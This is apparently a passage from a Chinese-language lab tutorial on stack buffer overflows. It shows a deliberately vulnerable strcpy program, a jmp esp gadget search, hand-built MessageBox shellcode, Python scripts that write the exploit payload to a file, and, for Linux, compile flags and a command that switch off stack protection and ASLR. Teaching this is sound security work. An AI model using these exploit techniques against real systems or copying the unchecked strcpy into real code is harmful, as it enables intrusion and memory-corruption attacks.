// 使用 strcmp 比较输入的 password 与预定义的 PASSWORD 是否一致
// 如果一致则返回 0,不一致返回非零值
authenticated = strcmp(password, PASSWORD);

// 将输入的 password 复制到 buffer 中,使用了 strcpy 函数
// strcpy 不会检查目标缓冲区的大小,存在潜在的缓冲区溢出漏洞
strcpy(buffer, password); // 这里可能导致溢出,覆盖后续的内存区域

return authenticated; // 返回比较结果
}

int main()
{
int valid_flag = 0; // 用于存储密码验证的标志,0 表示正确,非零表示错误
char password[44]; // 定义一个字符数组用于存储从文件读取的密码,大小为 1024 字节
FILE *fp; // 文件指针,用于操作文件

// 加载 "user32.dll"
// 在实际操作中,这一行代码在当前示例中没有实际意义,但可能用于其他操作
LoadLibrary("user32.dll");

// 尝试以 "rw+" 模式打开 "password2.txt" 文件
// "rw+" 模式用于读写文件,如果文件不存在,程序将退出
if (!(fp = fopen("password2.txt", "rw+")))
{
exit(0); // 如果文件打开失败,则退出程序
}

// 从文件中读取一个字符串,并将其存储在 password 数组中
// 假设文件内容为用户输入的密码
fscanf(fp, "%s", password);

// 调用 verify_password 函数检查密码是否正确
valid_flag = verify_password(password);

// 判断 valid_flag 的值,以确定密码是否正确
if (valid_flag) // 如果 valid_flag 非零,表示密码不正确
{
printf("incorrect password!\n");
}
else // 如果 valid_flag 为零,表示密码正确
{
printf("Congratulation! You have passed the verification!\n");
}

// 关闭文件
fclose(fp);

// 等待用户输入以暂停程序
system("pause"); // Windows 系统下暂停程序并显示 "Press any key to continue..."
return 0; // 返回 0,表示程序正常结束
}

获取 API 函数地址
可以使用GetProcAddress获取MessageBoxAExitProcess的地址。例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <stdio.h>

typedef void (*MYPROC)(LPTSTR);

int main()
{
HINSTANCE LibHandle; // 定义库句柄
MYPROC ProcAdd; // 定义函数指针

// 加载 user32.dll 库
LibHandle = LoadLibrary("user32");
if (LibHandle == NULL) {
printf("Failed to load user32.dll\n");
return 1;
}

// 打印 user32.dll 的加载地址
printf("user32 = 0x%p\n", LibHandle);

// 获取 MessageBoxA 函数的地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
if (ProcAdd == NULL) {
printf("Failed to get address of MessageBoxA\n");
} else {
printf("MessageBoxA = 0x%p\n", ProcAdd);
}

// 获取 ExitProcess 函数的地址
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
if (ProcAdd == NULL) {
printf("Failed to get address of ExitProcess\n");
} else {
printf("ExitProcess = 0x%p\n", ProcAdd);
}

getchar(); // 暂停程序,等待用户输入

return 0;
}

1
2
3
user32 = 0x77650000
MessageBoxA = 0x776DBDE0
ExitProcess = 0x772CA200

选取跳板(jmp esp

为了让程序跳转到栈的顶部执行Shellcode,我们需要找到一个jmp esp指令的地址。可以在常驻内存的DLL(如user32.dll)中查找固定的jmp esp指令,以确保该地址的稳定性。

查找jmp esp机器码

1
2
3
4
5
6
7
8
┌──(student㉿kali)-[~]
└─$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
nasm > exit

┌──(student㉿kali)-[~]
└─$

查找jmp esp的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
BYTE *ptr; // 指向 DLL 的指针
int position; // 当前扫描的位置
HINSTANCE handle; // DLL 的句柄
BOOL done_flag = FALSE; // 标志是否找到指令

// 加载 user32.dll
handle = LoadLibrary("user32.dll");
if (!handle) {
printf("load dll error!\n");
exit(0);
}

ptr = (BYTE *)handle; // 将句柄转换为 BYTE 指针,指向 DLL 的基址

// 遍历 DLL 的内存,寻找 jmp esp 指令(0xFF 0xE4)
for (position = 0; !done_flag; position++) {
// 检查当前字节和下一个字节是否为 0xFF 和 0xE4
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) {
int address = (int)(ptr + position); // 计算找到的指令的地址
printf("OPCODE found at 0x%x\n", address);
done_flag = TRUE; // 设置标志,表示已经找到指令
}
}

int address = (int)(ptr + position); // DLL 扫描结束的位置
printf("END OF 0x%x\n", address); // 打印扫描结束位置

getchar(); // 暂停程序,等待用户按键
return 0;
}

1
2
3
4
5
6
7
OPCODE found at 0x7766da3f
END OF 0x7766da40


--------------------------------
Process exited after 16.86 seconds with return value 0
请按任意键继续. . .

运行此代码可以找到user32.dll中包含jmp esp的地址,例如0x7766da3f

构造攻击输入数据

在本实验中,攻击输入的数据格式为:

1
"AAAAAAAAAAAAXXXXSSSS......SSSS"

其中:

  • AAAAAAAAAAA:用于填充缓冲区
  • XXXX:覆盖返回地址,这里使用jmp esp地址,例如0x7766da3f
  • SSSS:Shellcode,用于执行攻击代码

编写Shellcode

为了展示缓冲区溢出攻击效果,我们构造一个简单的Shellcode,调用Windows API的MessageBox显示一个弹框。

编写shellcode 找到了地址之后就可以构造 shellcode 了

机器码 汇编指令 注释
33DB XOR EBX,EBX 异或置零
53 PUSH EBX 作为字符串结束的截断符号 0
684841434B PUSH 4B434148 把 ‘HACK’ 字符串进栈
8BC4 MOV EAX,ESP 字符串指针,方便后面 push 进去
53 PUSH EBX 第四个参数 0
50 PUSH EAX 第三个参数 标题
50 PUSH EAX 第二个参数 内容
53 PUSH EBX 第一个参数 0
B8E0BD6D77 MOV EAX, 776DBDE0 把 Messagebox 的函数地址放到 EAX (MessageBoxA = 0x776DBDE0)
FFD0 CALL EAX 调用 Messagebox
1
33DB53684841434B8BC453505053B8E0BD6D77FFD0

返回地址(0x7766da3f)后面跟着 shellcode 就行了,我们还希望他能够正常的退出,给它加上一个 ExitProcess (0x772CA200)函数

机器码 汇编 注释
53 PUSH BEX exit(0),这个是参数 0
B800A22C77 MOV EAX,0x772CA200 地址放到 eax
FFD0 CALL EAX 调用函数
1
53B800A22C77FFD0 

完整payload

1
33DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0 

计算缓冲区大小

报错EIP为41306341

得知缓冲区大小为60字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 定义攻击输入数据的各个部分
buffer_fill = b"\x90" * 60 # 用 0x90 (NOP 指令) 填充到 60 字节
jmp_esp_address = b"\x3f\xda\x66\x77" # jmp esp 地址,0x7766da3f,小端格式
shellcode = bytes.fromhex("33DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0") # Shellcode,转为字节

# 组合最终的攻击输入数据
exploit_payload = buffer_fill + jmp_esp_address + shellcode

# 将 exploit_payload 写入 password2.txt 文件,使用二进制写入模式
with open("password2.txt", "wb") as f:
f.write(exploit_payload)

print("Exploit payload written to password2.txt successfully.")

1
9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090903FDA667733DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0

成功!

另一种写法:

可以用全部填充容易辨认的字符找寻缓冲区起始地址(这种找到的地址执行不了,不知道为什么)

正解:通过如下代码就可调整 Shellcode 和栈指针位置(加入调整代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 定义攻击输入数据的各个部分
payload = bytes.fromhex("33DB53684841434B8BC453505053B8E0BD6D77FFD053B800A22C77FFD0") # Shellcode,转为字节
padding = b"\x90" * (60 - len(payload)) # 用 0x90 (NOP 指令) 填充到 60 字节
return_address = b"\x3f\xda\x66\x77" # jmp esp 地址,0x7766da3f,小端格式

# 定义 adjust_code,包含 `jmp esp` 和 `add esp, -64`
# jmp esp: 0xFFE4
# add esp, -64: 0x83EC40
adjust_code = b"\xFF\xE4" + b"\x83\xEC\x40" # `jmp esp` + `add esp, -64`

# 组合最终的攻击输入数据
final_payload = payload + padding + return_address + adjust_code

# 将 final_payload 写入 password2.txt 文件,使用二进制写入模式
with open("password2.txt", "wb") as f:
f.write(final_payload)

print("Exploit payload written to password2.txt successfully.")

add esp, -64 的机器码是 0x83 EC 40。下面是对该机器码的解读。

  • 0x83:这是 add 指令的操作码(opcode),并且表明操作数是立即数(imm8,8位立即数)和寄存器(在这里是 esp)。
  • EC:这是 modrm 字节,用于指定操作的寄存器和操作数类型。在此情况下,EC 表示目标寄存器为 esp
  • 40:这是立即数 -64 的值。因为立即数 40 是无符号的,我们可以理解为有符号的8位补码0x40 的补码为 -64
  • 64是因为缓冲空间(60)加上EIP(4)的大小

实验结果

成功运行后,程序将会调用MessageBoxA函数,弹出包含"HACK"消息的对话框,随后调用ExitProcess函数退出程序。

(二)Linux 栈溢出示例

软件保护机制:

CANARY(栈保护)

栈溢出保护是一种缓冲区溢出攻击缓解手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

NX(DEP)(数据执行保护 Data Execution Prevention)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

PIE(ASLR)

内存地址随机化机制(address space layout randomization),有以下三种情况:
0 - 表示关闭进程地址空间随机化
1 - 表示将mmap的基址,stack和vdso页面随机化
2 - 表示在1的基础上增加堆(heap)的随机化

入手,什么保护都没的 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

使用以下命令进行编译:

1
2
gcc -m32 -fno-stack-protector -z execstack -no-pie -o level1 level1.c
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space //关闭ASLR(地址空间布局随机化)

-m32意思是编译为32位的程序
-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

在 root 权限下执行(为了方便下面的步骤最好一直在root下):
echo 0 > /proc/sys/kernel/randomize_va_space
这样就关掉了整个系统的ASLR

使用checksec命令来检查一下保护机制:

1
checksec --file=./level1

测试缓冲区大小

使用一个python脚本来产生点数据 python pattern.py create 150(也可以用kali的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#!/usr/bin/env python3

import sys
import os
import binascii

buf = (
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"
"6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A"
"f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9"
"Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak"
"6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
"n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9"
"Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As"
"6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A"
"v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9"
"Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
"6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B"
"d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9"
"Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi"
"6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B"
"l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9"
"Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq"
"6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B"
"t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9"
"Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By"
"6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C"
"b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9"
"Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg"
"6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C"
"j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9"
"Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
"6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C"
"r3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9"
"Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw"
"6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2C"
"z3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9"
"Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De"
"6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2D"
"h3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9"
"Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm"
"6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"
"p3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9"
"Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du"
"6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2D"
"x3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9"
"Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec"
"6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2E"
"f3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9"
"Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek"
"6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2E"
"n3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9"
"Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es"
"6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2E"
"v3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9"
"Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa"
"6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
"d3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9"
"Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi"
"6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2F"
"l3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9"
"Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq"
"6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2F"
"t3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9"
"Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy"
"6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2G"
"b3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9"
"Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg"
"6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2G"
"j3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9"
"Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go"
"6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2G"
"r3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9"
"Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw"
"6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2G"
"z3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9"
"Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He"
"6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2H"
"h3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9"
"Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm"
"6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2H"
"p3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"
"Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu"
"6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2H"
"x3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9"
"Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic"
"6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2I"
"f3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9"
"Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik"
"6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2I"
"n3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9"
"Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is"
"6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2I"
